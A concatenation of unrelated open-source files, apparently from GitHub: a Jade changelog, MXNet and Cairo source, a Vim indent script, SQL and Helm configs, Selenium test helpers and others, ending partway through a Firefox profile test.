* Renamed internal `_` to `__`, since `_()` is commonly used for translation
0.5.5 / 2010-10-30
==================
* Add _coffeescript_ filter [Michael Hampton]
* Added link to _slim_; a ruby implementation
* Fixed quoted attributes issue.
* Fixed attribute issue with over greedy regexp.
Previously "p(foo=(((('bar')))))= ((('baz')))"
would __fail__ for example since the regexp
would lookahead to far. Now we simply pair
the delimiters.
0.5.4 / 2010-10-18
==================
* Adding newline when using tag code when preceding text
* Assume newline in tag text when preceding text
* Changed; retain leading text whitespace
* Fixed code block support to prevent multiple buffer openings [Jake Luer]
* Fixed nested filter support
0.5.3 / 2010-10-06
==================
* Fixed bug when tags with code also have a block [reported by chrisirhc]
0.5.2 / 2010-10-05
==================
* Added; Text introduces newlines to mimic the grammar.
Whitespace handling is a little tricky with this sort of grammar.
Jade will now mimic the written grammar, meaning that text blocks
using the "|" margin character will introduce a literal newline,
where as immediate tag text (ex "a(href='#') Link") will not.
This may not be ideal, but it makes more sense than what Jade was
previously doing.
* Added `Tag#text` to disambiguate between immediate / block text
* Removed _pretty_ option (was kinda useless in the state it was in)
* Reverted ignoring of newlines. Closes #92.
* Fixed; `Parser#parse()` ignoring newlines
0.5.1 / 2010-10-04
==================
* Added many examples
* Added; compiler api is now public
* Added; filters can accept / manipulate the parse tree
* Added filter attribute support. Closes #79
* Added LL(*) capabilities
* Performance; wrapping code blocks in {} instead of `(function(){}).call(this)`
* Performance; Optimized attribute buffering
* Fixed trailing newlines in blocks
0.5.0 / 2010-09-11
==================
* __Major__ refactor. Logic now separated into lexer/parser/compiler for future extensibility.
* Added _pretty_ option
* Added parse tree output for _debug_ option
* Added new examples
* Removed _context_ option, use _scope_
0.4.1 / 2010-09-09
==================
* Added support for arbitrary indentation for single-line comments. Closes #71
* Only strip first space in text (ex '| foo' will buffer ' foo')
0.4.0 / 2010-08-30
==================
* Added tab naive support (tabs are converted to a single indent, aka two spaces). Closes #24
* Added unbuffered comment support. Closes #62
* Added hyphen support for tag names, ex: "fb:foo-bar"
* Fixed bug with single quotes in comments. Closes #61
* Fixed comment whitespace issue, previously padding. Closes #55
0.3.0 / 2010-08-04
==================
* Added single line comment support. Closes #25
* Removed CDATA from _:javascript_ filter. Closes #47
* Removed _sys_ local
* Fixed code following tag
0.2.4 / 2010-08-02
==================
* Added Buffer support to `render()`
* Fixed filter text block exception reporting
* Fixed tag exception reporting
0.2.3 / 2010-07-27
==================
* Fixed newlines before block
* Fixed; tag text allowing arbitrary trailing whitespace
0.2.2 / 2010-07-16
==================
* Added support for `jade.renderFile()` to utilize primed cache
* Added link to [textmate bundle](http://github.com/miksago/jade-tmbundle)
* Fixed filter issue with single quotes
* Fixed hyphenated attr bug
* Fixed interpolation single quotes. Closes #28
* Fixed issue with comma in attrs
0.2.1 / 2010-07-09
==================
* Added support for node-discount and markdown-js
depending on which is available.
* Added support for tags to have blocks _and_ text.
this kinda fucks with arbitrary whitespace unfortunately,
but also fixes trailing spaces after tags _with_ blocks.
* Caching generated functions. Closes #46
0.2.0 / 2010-07-08
==================
* Added `- each` support for readable iteration
* Added [markdown-js](http://github.com/evilstreak/markdown-js) support (no compilation required)
* Removed node-discount support
0.1.0 / 2010-07-05
==================
* Added `${}` support for interpolation. Closes #45
* Added support for quoted attr keys: `label("for": 'something')` is allowed (_although not required_) [Guillermo]
* Added `:less` filter [jakeluer]
0.0.2 / 2010-07-03
==================
* Added `context` as synonym for `scope` option [Guillermo]
* Fixed attr splitting: `div(style:"color: red")` is now allowed
* Fixed issue with `(` and `)` within attrs: `a(class: (a ? 'a' : 'b'))` is now allowed
* Fixed issue with leading / trailing spaces in attrs: `a( href="#" )` is now allowed [Guillermo]
| {
"pile_set_name": "Github"
} |
// @generated automatically by Diesel CLI.
diesel::table! {
/// Representation of the `users2` table.
///
/// (Automatically generated by Diesel.)
users2 (id) {
/// The `id` column of the `users2` table.
///
/// Its SQL type is `Integer`.
///
/// (Automatically generated by Diesel.)
id -> Integer,
}
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*!
* \file square_sum.cc
* \brief CPU Implementation of square_sum op.
*/
#include "./square_sum-inl.h"
namespace mxnet {
namespace op {
template<>
void CheckSameIdx<cpu>(const OpContext& ctx,
const TBlob& ograd_row_idx,
const TBlob& in_row_idx) {
MSHADOW_IDX_TYPE_SWITCH(ograd_row_idx.type_flag_, IType, {
mshadow::Stream<cpu>* s = ctx.get_stream<cpu>();
const IType* ograd_idx = ograd_row_idx.dptr<IType>();
const IType* in_idx = in_row_idx.dptr<IType>();
const nnvm::dim_t idx_size = ograd_row_idx.Size();
int32_t is_different = 0;
mxnet_op::Kernel<CheckSameIdxKernel, cpu>::Launch(s, idx_size,
ograd_idx, in_idx, &is_different);
CHECK_EQ(is_different, 0) << "SquareSumRspGradImpl only supports"
" equal ograd_row_idx and input_row_idx"
" when ograd and input are both"
" row-sparse and input data is not a full"
" row-sparse matrix";
})
}
MXNET_OPERATOR_REGISTER_REDUCE(_square_sum)
.describe(R"code(Computes the square sum of array elements over a given axis
for row-sparse matrix. This is a temporary solution for fusing ops square and
sum together for row-sparse matrix to save memory for storing gradients.
It will become deprecated once the functionality of fusing operators is finished
in the future.
Example::
dns = mx.nd.array([[0, 0], [1, 2], [0, 0], [3, 4], [0, 0]])
rsp = dns.tostype('row_sparse')
sum = mx.nd._internal._square_sum(rsp, axis=1)
sum = [0, 5, 0, 25, 0]
)code" ADD_FILELINE)
.set_attr<FInferStorageType>("FInferStorageType", SquareSumForwardInferStorageType)
.set_attr<FComputeEx>("FComputeEx<cpu>", SquareSumOpForwardEx<cpu>)
.set_attr<nnvm::FGradient>("FGradient", ElemwiseGradUseIn{"_backward_square_sum"});
MXNET_OPERATOR_REGISTER_REDUCE_BACKWARD(_backward_square_sum)
.set_num_inputs(2)
.set_attr<FResourceRequest>("FResourceRequest",
[](const NodeAttrs& attrs) {
return std::vector<ResourceRequest>{ResourceRequest::kTempSpace};
})
.set_attr<FInferStorageType>("FInferStorageType", SquareSumBackwardInferStorageType)
.set_attr<FComputeEx>("FComputeEx<cpu>", SquareSumOpBackwardEx<cpu>);
} // namespace op
} // namespace mxnet
| {
"pile_set_name": "Github"
} |
" Vim indent file
" Language: dictd(8) configuration file
" Maintainer: Nikolai Weibull <[email protected]>
" Latest Revision: 2006-12-20
if exists("b:did_indent")
finish
endif
let b:did_indent = 1
setlocal indentkeys=0{,0},!^F,o,O cinwords= autoindent smartindent
setlocal nosmartindent
inoremap <buffer> # X#
| {
"pile_set_name": "Github"
} |
const fs = require('fs'),
path = require('path'),
readCommands = function () {
'use strict';
const result = {};
fs.readdirSync(path.join(__dirname, './src/commands')).forEach(fileName => {
const cmdName = path.basename(fileName, '.js'),
cmdFunc = require(`./src/commands/${cmdName}`);
result[cmdFunc.name] = cmdFunc;
});
return result;
};
module.exports = readCommands();
| {
"pile_set_name": "Github"
} |
require 'test_helper'
class ReminderTest < ActiveSupport::TestCase
# Replace this with your real tests.
def test_truth
assert true
end
end
| {
"pile_set_name": "Github"
} |
dir = File.dirname(__FILE__)
Dir[File.expand_path("#{dir}/**/*.rb")].uniq.each do |file|
require file
end | {
"pile_set_name": "Github"
} |
/*
* Copyright © 2011–2013 Spadefoot Team.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Table structure for the "sessions" table
*/
CREATE TABLE IF NOT EXISTS `sessions` (
`id` VARCHAR(24) NOT NULL,
`last_active` INT NOT NULL,
`contents` TEXT NOT NULL,
PRIMARY KEY (`id`),
INDEX (`last_active`)
) ENGINE=InnoDB;
| {
"pile_set_name": "Github"
} |
Feature: kolibri-server handles correctly content provided under file streams
Some of the kolibri contents are not actual files but streams, they must be correctly handled
Background:
Given that the kolibri-server is installed and running
And channel with token 'nakav-mafak' is installed
Scenario: Interact with PLIX HTML5 app
Given I am signed in to Kolibri
When I open the PLIX HTML5 app in the browser
Then I can view and interact correctly with the content
| {
"pile_set_name": "Github"
} |
//
// Mono.Cairo.Glyph.cs
//
// Authors: Duncan Mak ([email protected])
// Hisham Mardam Bey ([email protected])
//
// (C) Ximian, Inc. 2003
// Copyright (C) 2004 Novell, Inc (http://www.novell.com)
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
using System;
using System.Runtime.InteropServices;
namespace Cairo
{
[StructLayout(LayoutKind.Sequential)]
public struct Glyph
{
internal long index;
internal double x;
internal double y;
public Glyph (long index, double x, double y)
{
this.index = index;
this.x = x;
this.y = y;
}
public long Index {
get { return index; }
set { index = value; }
}
public double X {
get { return x; }
set { x = value; }
}
public double Y {
get { return y; }
set { y = value; }
}
public override bool Equals (object obj)
{
if (obj is Glyph)
return this == (Glyph)obj;
return false;
}
public override int GetHashCode ()
{
return (int) Index ^ (int) X ^ (int) Y;
}
internal static IntPtr GlyphsToIntPtr (Glyph[] glyphs)
{
int size = Marshal.SizeOf (glyphs[0]);
IntPtr dest = Marshal.AllocHGlobal (size * glyphs.Length);
long pos = dest.ToInt64 ();
for (int i = 0; i < glyphs.Length; i++, pos += size)
Marshal.StructureToPtr (glyphs[i], (IntPtr) pos, false);
return dest;
}
public static bool operator == (Glyph glyph, Glyph other)
{
return glyph.Index == other.Index && glyph.X == other.X && glyph.Y == other.Y;
}
public static bool operator != (Glyph glyph, Glyph other)
{
return !(glyph == other);
}
}
}
| {
"pile_set_name": "Github"
} |
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
| {
"pile_set_name": "Github"
} |
/*
File: MainViewController.m
Abstract: View controller for the interface. Manages the filtered image view and list of filters.
Version: 1.0
Disclaimer: IMPORTANT: This Apple software is supplied to you by Apple
Inc. ("Apple") in consideration of your agreement to the following
terms, and your use, installation, modification or redistribution of
this Apple software constitutes acceptance of these terms. If you do
not agree with these terms, please do not use, install, modify or
redistribute this Apple software.
In consideration of your agreement to abide by the following terms, and
subject to these terms, Apple grants you a personal, non-exclusive
license, under Apple's copyrights in this original Apple software (the
"Apple Software"), to use, reproduce, modify and redistribute the Apple
Software, with or without modifications, in source and/or binary forms;
provided that if you redistribute the Apple Software in its entirety and
without modifications, you must retain this notice and the following
text and disclaimers in all such redistributions of the Apple Software.
Neither the name, trademarks, service marks or logos of Apple Inc. may
be used to endorse or promote products derived from the Apple Software
without specific prior written permission from Apple. Except as
expressly stated in this notice, no other rights or licenses, express or
implied, are granted by Apple herein, including but not limited to any
patent rights that may be infringed by your derivative works or by other
works in which the Apple Software may be incorporated.
The Apple Software is provided by Apple on an "AS IS" basis. APPLE
MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION
THE IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE, REGARDING THE APPLE SOFTWARE OR ITS USE AND
OPERATION ALONE OR IN COMBINATION WITH YOUR PRODUCTS.
IN NO EVENT SHALL APPLE BE LIABLE FOR ANY SPECIAL, INDIRECT, INCIDENTAL
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) ARISING IN ANY WAY OUT OF THE USE, REPRODUCTION,
MODIFICATION AND/OR DISTRIBUTION OF THE APPLE SOFTWARE, HOWEVER CAUSED
AND WHETHER UNDER THEORY OF CONTRACT, TORT (INCLUDING NEGLIGENCE),
STRICT LIABILITY OR OTHERWISE, EVEN IF APPLE HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
Copyright (C) 2011 Apple Inc. All Rights Reserved.
*/
#import "MainViewController.h"
@implementation MainViewController
@synthesize filtersToApply = _filtersToApply;
@synthesize imageView = _imageView;
@synthesize tableView = _tableView;
//
// Action sent by the right navigation bar item.
// Removes all applied filters and updates the display.
- (IBAction)clearFilters:(id)sender
{
[_filtersToApply removeAllObjects];
// Instruct the filtered image view to refresh
[_imageView reloadData];
// Instruct the table to refresh. This will remove
// any checkmarks next to selected filters.
[_tableView reloadData];
}
//
// Private method to add a filter given it's name.
// Creates a new instance of the named filter and adds
// it to the list of filters to be applied, then
// updates the display.
- (void)addFilter:(NSString*)name
{
// Create a new filter with the given name.
CIFilter *newFilter = [CIFilter filterWithName:name];
// A nil value implies the filter is not available.
if (!newFilter) return;
// -setDefaults instructs the filter to configure its parameters
// with their specified default values.
[newFilter setDefaults];
// Our filter configuration method will attempt to configure the
// filter with random values.
[MainViewController configureFilter:newFilter];
[_filtersToApply addObject:newFilter];
// Instruct the filtered image view to refresh
[_imageView reloadData];
}
//
// Private method to add a filter given it's name.
// Updates the display when finished.
- (void)removeFilter:(NSString*)name
{
NSUInteger filterIndex = NSNotFound;
// Find the index named filter in the array.
for (CIFilter *filter in _filtersToApply)
if ([filter.name isEqualToString:name])
filterIndex = [_filtersToApply indexOfObject:filter];
// If it was found (which it always should be) remove it.
if (filterIndex != NSNotFound)
[_filtersToApply removeObjectAtIndex:filterIndex];
// Instruct the filtered image view to refresh
[_imageView reloadData];
}
#pragma mark - TableView
// Standard table view datasource/delegate code.
//
// Create a table view displaying all the filters named in the _availableFilters array.
// Only the names of the filters a stored in the _availableFilters array, the actual filter
// is created on demand when the user chooses to add it to the list of applied filters.
//
- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
{
return 1;
}
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
return [_availableFilters count];
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
static NSString *filterCellID = @"filterCell";
UITableViewCell *cell;
cell = [tableView dequeueReusableCellWithIdentifier:filterCellID];
if(!cell)
cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:filterCellID];
cell.textLabel.text = [_availableFilters objectAtIndex:indexPath.row];
// Check if the filter named in this row is currently applied to the image. If it is,
// give this row a checkmark.
cell.accessoryType = UITableViewCellAccessoryNone;
for (CIFilter *filter in _filtersToApply)
if ([[filter name] isEqualToString:[_availableFilters objectAtIndex:indexPath.row]])
cell.accessoryType = UITableViewCellAccessoryCheckmark;
return cell;
}
- (NSString*)tableView:(UITableView *)tableView titleForHeaderInSection:(NSInteger)section
{
return @"Select a Filter";
}
- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath
{
UITableViewCell *selectedCell = [tableView cellForRowAtIndexPath:indexPath];
// Determine if the filter is or is not currently applied.
BOOL filterIsCurrentlyApplied = NO;
for (CIFilter *filter in _filtersToApply)
if ([[filter name] isEqualToString:selectedCell.textLabel.text])
filterIsCurrentlyApplied = YES;
// If the filter is currently being applied, remove it.
if (filterIsCurrentlyApplied) {
[self removeFilter:[_availableFilters objectAtIndex:indexPath.row]];
[tableView cellForRowAtIndexPath:indexPath].accessoryType = UITableViewCellAccessoryNone;
}
// Otherwise, add it.
else {
[self addFilter:[_availableFilters objectAtIndex:indexPath.row]];
[tableView cellForRowAtIndexPath:indexPath].accessoryType = UITableViewCellAccessoryCheckmark;
}
[tableView deselectRowAtIndexPath:indexPath animated:YES];
}
#pragma mark - View lifecycle
- (void)viewDidLoad
{
[super viewDidLoad];
_filtersToApply = [[NSMutableArray alloc] init];
_imageView.inputImage = [UIImage imageNamed:@"LakeDonPedro2.jpg"];
}
- (void)awakeFromNib
{
// > UPD
// _availableFilters = [NSArray arrayWithObjects:@"CIColorInvert", @"CIColorControls", @"CIGammaAdjust", @"CIHueAdjust", nil];
NSArray *filterNames;
filterNames = [CIFilter filterNamesInCategory:kCICategoryBuiltIn];
_availableFilters = [NSArray arrayWithArray:filterNames];
// < UPD
}
@end
| {
"pile_set_name": "Github"
} |
{{- if .Values.rbac.create }}
{{- if .Values.podSecurityPolicy.enabled }}
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: {{ template "filebeat.fullname" . }}
labels:
app.kubernetes.io/name: {{ template "filebeat.name" . }}
helm.sh/chart: {{ template "filebeat.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
namespace: {{ .Release.Namespace }}
roleRef:
kind: Role
name: {{ template "filebeat.fullname" . }}
apiGroup: rbac.authorization.k8s.io
subjects:
- kind: ServiceAccount
name: {{ template "filebeat.serviceAccountName" . }}
namespace: {{ .Release.Namespace }}
{{- end }}
{{- end }}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2017 Schürmann & Breitmoser GbR
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.sufficientlysecure.keychain.remote.ui.dialog;
import java.util.List;
import androidx.lifecycle.LifecycleOwner;
import android.content.Context;
import androidx.recyclerview.widget.RecyclerView.Adapter;
import org.sufficientlysecure.keychain.R;
import org.sufficientlysecure.keychain.model.SubKey.UnifiedKeyInfo;
import org.sufficientlysecure.keychain.remote.AutocryptInteractor;
import org.sufficientlysecure.keychain.remote.ui.dialog.RemoteDeduplicateActivity.DeduplicateViewModel;
import org.sufficientlysecure.keychain.ui.adapter.KeyChoiceAdapter;
class RemoteDeduplicatePresenter {
private final Context context;
private final LifecycleOwner lifecycleOwner;
private AutocryptInteractor autocryptInteractor;
private DeduplicateViewModel viewModel;
private RemoteDeduplicateView view;
private KeyChoiceAdapter keyChoiceAdapter;
RemoteDeduplicatePresenter(Context context, LifecycleOwner lifecycleOwner) {
this.context = context;
this.lifecycleOwner = lifecycleOwner;
}
public void setView(RemoteDeduplicateView view) {
this.view = view;
}
void setupFromViewModel(DeduplicateViewModel viewModel) {
this.viewModel = viewModel;
this.autocryptInteractor = AutocryptInteractor.getInstance(context, viewModel.getPackageName());
view.setAddressText(viewModel.getDuplicateAddress());
viewModel.getKeyInfoLiveData(context).observe(lifecycleOwner, this::onLoadKeyInfos);
}
private void onLoadKeyInfos(List<UnifiedKeyInfo> data) {
if (keyChoiceAdapter == null) {
keyChoiceAdapter = KeyChoiceAdapter.createSingleChoiceAdapter(context, data, (keyInfo -> {
if (keyInfo.is_revoked()) {
return R.string.keychoice_revoked;
} else if (keyInfo.is_expired()) {
return R.string.keychoice_expired;
} else if (!keyInfo.is_secure()) {
return R.string.keychoice_insecure;
} else if (!keyInfo.has_encrypt_key()) {
return R.string.keychoice_cannot_encrypt;
} else {
return null;
}
}));
view.setKeyListAdapter(keyChoiceAdapter);
} else {
keyChoiceAdapter.setUnifiedKeyInfoItems(data);
}
}
void onClickSelect() {
UnifiedKeyInfo activeItem = keyChoiceAdapter.getActiveItem();
if (activeItem == null) {
view.showNoSelectionError();
return;
}
long masterKeyId = activeItem.master_key_id();
autocryptInteractor.updateKeyGossipFromDedup(viewModel.getDuplicateAddress(), masterKeyId);
view.finish();
}
void onClickCancel() {
view.finishAsCancelled();
}
public void onCancel() {
view.finishAsCancelled();
}
interface RemoteDeduplicateView {
void showNoSelectionError();
void finish();
void finishAsCancelled();
void setAddressText(String text);
void setKeyListAdapter(Adapter adapter);
}
}
| {
"pile_set_name": "Github"
} |
import * as fs from "fs"
import * as path from "path"
import * as webdriver from "selenium-webdriver"
// Returns the path of the newest file in directory
export async function getNewestFileIn(directory: string) {
// Get list of files
const names = ((await new Promise((resolve, reject) => {
fs.readdir(directory, (err: Error, filenames: string[]) => {
if (err) {
return reject(err)
}
return resolve(filenames)
})
// Keep only files matching pattern
})) as string[])
// Get their stat struct
const stats = await Promise.all(names.map(name => new Promise((resolve, reject) => {
const fpath = path.join(directory, name)
fs.stat(fpath, (err: any, stats) => {
if (err) {
reject(err)
}
(stats as any).path = fpath
return resolve(stats)
})
})))
// Sort by most recent and keep first
return ((stats.sort((stat1: any, stat2: any) => stat2.mtime - stat1.mtime)[0] || {}) as any).path
}
const vimToSelenium = {
"Down": webdriver.Key.ARROW_DOWN,
"Left": webdriver.Key.ARROW_LEFT,
"Right": webdriver.Key.ARROW_RIGHT,
"Up": webdriver.Key.ARROW_UP,
"BS": webdriver.Key.BACK_SPACE,
"Del": webdriver.Key.DELETE,
"End": webdriver.Key.END,
"CR": webdriver.Key.ENTER,
"Esc": webdriver.Key.ESCAPE,
"Home": webdriver.Key.HOME,
"PageDown": webdriver.Key.PAGE_DOWN,
"PageUp": webdriver.Key.PAGE_UP,
"Tab": webdriver.Key.TAB,
"lt": "<",
}
const modToSelenium = {
"A": webdriver.Key.ALT,
"C": webdriver.Key.CONTROL,
"M": webdriver.Key.META,
"S": webdriver.Key.SHIFT,
}
export function sendKeys (driver, keys) {
const delay = 300
function chainRegularKeys (previousPromise, regularKeys) {
return regularKeys
.split("")
.reduce((p, key) => p
.then(() => driver.actions().sendKeys(key).perform())
.then(() => driver.sleep(delay))
, previousPromise)
}
function chainSpecialKey (previousPromise, specialKey) {
return previousPromise
.then(() => {
const noBrackets = specialKey.slice(1,-1)
if (noBrackets.includes("-")) {
const [modifiers, key] = noBrackets.split("-")
const mods = modifiers.split("").map(mod => modToSelenium[mod])
return mods
.reduce((actions, mod) => actions.keyUp(mod),
mods.reduce((actions, mod) => actions.keyDown(mod), driver.actions())
.sendKeys(vimToSelenium[key] || key))
.perform()
}
return driver.actions().sendKeys(vimToSelenium[noBrackets] || noBrackets).perform()
})
.then(() => driver.sleep(delay))
}
let result = Promise.resolve()
const regexp = /<[^>-]+-?[^>]*>/g
const specialKeys = keys.match(regexp)
if (!specialKeys) {
return chainRegularKeys(result, keys)
}
const regularKeys = keys.split(regexp)
let i
for (i = 0; i < Math.min(specialKeys.length, regularKeys.length); ++i) {
result = chainSpecialKey(chainRegularKeys(result, regularKeys[i]), specialKeys[i])
}
if (i < regularKeys.length) {
result = regularKeys
.slice(i)
.reduce((previousPromise, currentKeys) => chainRegularKeys(previousPromise, currentKeys), result)
}
if ( i < specialKeys.length) {
result = specialKeys
.slice(i)
.reduce((previousPromise, currentKey) => chainSpecialKey(previousPromise, currentKey), result)
}
return result
}
| {
"pile_set_name": "Github"
} |
/*
File: SegmentViewController.h
Abstract: The view controller for hosting the UISegmentedControl features of
this sample.
Version: 1.7
Disclaimer: IMPORTANT: This Apple software is supplied to you by Apple Inc.
("Apple") in consideration of your agreement to the following terms, and your
use, installation, modification or redistribution of this Apple software
constitutes acceptance of these terms. If you do not agree with these terms,
please do not use, install, modify or redistribute this Apple software.
In consideration of your agreement to abide by the following terms, and subject
to these terms, Apple grants you a personal, non-exclusive license, under
Apple's copyrights in this original Apple software (the "Apple Software"), to
use, reproduce, modify and redistribute the Apple Software, with or without
modifications, in source and/or binary forms; provided that if you redistribute
the Apple Software in its entirety and without modifications, you must retain
this notice and the following text and disclaimers in all such redistributions
of the Apple Software.
Neither the name, trademarks, service marks or logos of Apple Inc. may be used
to endorse or promote products derived from the Apple Software without specific
prior written permission from Apple. Except as expressly stated in this notice,
no other rights or licenses, express or implied, are granted by Apple herein,
including but not limited to any patent rights that may be infringed by your
derivative works or by other works in which the Apple Software may be
incorporated.
The Apple Software is provided by Apple on an "AS IS" basis. APPLE MAKES NO
WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED
WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE, REGARDING THE APPLE SOFTWARE OR ITS USE AND OPERATION ALONE OR IN
COMBINATION WITH YOUR PRODUCTS.
IN NO EVENT SHALL APPLE BE LIABLE FOR ANY SPECIAL, INDIRECT, INCIDENTAL OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
ARISING IN ANY WAY OUT OF THE USE, REPRODUCTION, MODIFICATION AND/OR
DISTRIBUTION OF THE APPLE SOFTWARE, HOWEVER CAUSED AND WHETHER UNDER THEORY OF
CONTRACT, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF
APPLE HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Copyright (C) 2008 Apple Inc. All Rights Reserved.
*/
#import <UIKit/UIKit.h>
@interface SegmentViewController : UIViewController
{
}
@end
| {
"pile_set_name": "Github"
} |
import QtQuick 2.0
import QuickAndroid 0.1
import QuickAndroid.Styles 0.1
import "../theme"
Page {
id: demo
actionBar: ActionBar {
title: "Image Picker Demo"
onActionButtonClicked: back();
}
ImagePicker {
id: imagePicker;
multiple : true
}
Rectangle {
anchors.fill: parent
color: Constants.black100
Image {
id: image
anchors.fill: parent
source: imagePicker.imageUrl
fillMode: Image.PreserveAspectFit
visible: imagePicker.imageUrls.length <= 1
}
Grid {
columns: 3
spacing: 0
visible: !image.visible
Repeater {
model: imagePicker.imageUrls
delegate: Image {
width: demo.width / 3
height: width / 4 * 3
source: modelData
asynchronous: true
fillMode: Image.PreserveAspectCrop
}
}
}
Column {
anchors.right: parent.right
anchors.rightMargin: 16 * A.dp
anchors.bottom: parent.bottom
anchors.bottomMargin: 32 * A.dp
spacing: 16 * A.dp
FloatingActionButton {
iconSource: A.drawable("ic_camera",Constants.black87);
size: Constants.small
backgroundColor: Constants.white100
onClicked: {
imagePicker.takePhoto();
}
}
FloatingActionButton {
iconSource: A.drawable("ic_image",Constants.black87);
size: Constants.small
backgroundColor: Constants.white100
onClicked: {
imagePicker.pickImage();
}
}
}
}
}
| {
"pile_set_name": "Github"
} |
#%RAML 1.0 Library
traits:
libTrait1:
queryParameters:
param1:
body:
application/xml:
libTrait2:
queryParameters:
param2:
body:
text/plain:
resourceTypes:
libResourceType:
is: [ libTrait2 ]
uriParameters:
id:
type: number
post:
is: [ libTrait1 ]
responses:
200:
body:
application/json:
| {
"pile_set_name": "Github"
} |
package integration;
import com.codeborne.selenide.SelenideConfig;
import com.codeborne.selenide.SelenideDriver;
import com.codeborne.selenide.SharedDownloadsFolder;
import io.github.bonigarcia.wdm.WebDriverManager;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.firefox.FirefoxOptions;
import org.openqa.selenium.firefox.FirefoxProfile;
import java.io.File;
import static com.codeborne.selenide.Condition.visible;
import static java.lang.Thread.currentThread;
import static org.junit.jupiter.api.Assumptions.assumeTrue;
class FirefoxWithProfileTest extends BaseIntegrationTest {
private SelenideDriver customFirefox;
@BeforeEach
void setUp() {
assumeTrue(browser().isFirefox());
WebDriverManager.firefoxdriver().setup();
}
@AfterEach
void tearDown() {
if (customFirefox != null) {
customFirefox.close();
}
}
@Test
void createFirefoxWithCustomProfile() {
